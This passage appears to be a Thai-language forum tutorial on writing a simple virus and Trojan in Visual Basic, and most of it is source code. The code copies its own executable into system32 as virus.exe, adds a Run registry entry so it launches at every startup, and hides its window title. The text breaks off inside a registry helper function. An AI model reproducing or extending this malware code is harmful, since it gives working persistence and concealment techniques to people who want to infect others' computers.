เอาละครับ เรามาเริ่มกันเลยดีกว่า ในที่นี้ผมจะกล่าวถึงไวรัสทั่วๆไปอย่างง่ายๆ แล้วก็Trojanครับ

ไม่เหมาะสำหรับ ผู้ที่เริ่มศึกษา Visual Basic หรือ มีความรู้ระดับพื้นฐาน เพราะ จะไม่อธิบายโค๊ดเล็กๆน้อยๆ หรือโค๊ดที่เกี่ยวกับ API function โปรดทำความเข้าใจในบางส่วนเอง คงไม่ยากเกินความพยายามนะครับ
[/b]
[hide=20]อย่าลืม เพิ่ม microsoft scripting Runtime เข้าไปในโปรเจ็คก่อนนะครับ

1.ไวรัส ธรรมดาทั่วไป

อันดับแรก ไวรัสที่ดี จะทำงานทุกครั้งที่เปิดเครื่องขึ้นมาและต้องก๊อปปี้ตัวเองไปซ่อนในที่อื่นๆ ซึ่งเราจึงต้องจัดมันลงใน Registry ของเครื่องก่อน

[code]
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long


Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const ERROR_SUCCESS = 0&
Private Const REG_SZ = 1
Private xc As Long
Private TimeOut As Integer

---------------------------------------------------------------
Private Sub Form_Load()

Set Copy = Myfso.GetFile(App.EXEName)

Copy.Copy ("C:\windows\system32\virus.exe")


Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", "appname", "C:\windows\system32\virus.exe")

App.Title = ""

End Sub
---------------------------------------------------------------

Private Sub SaveString(Hkey As Long, strpath As String, strValue As String, strdata As String)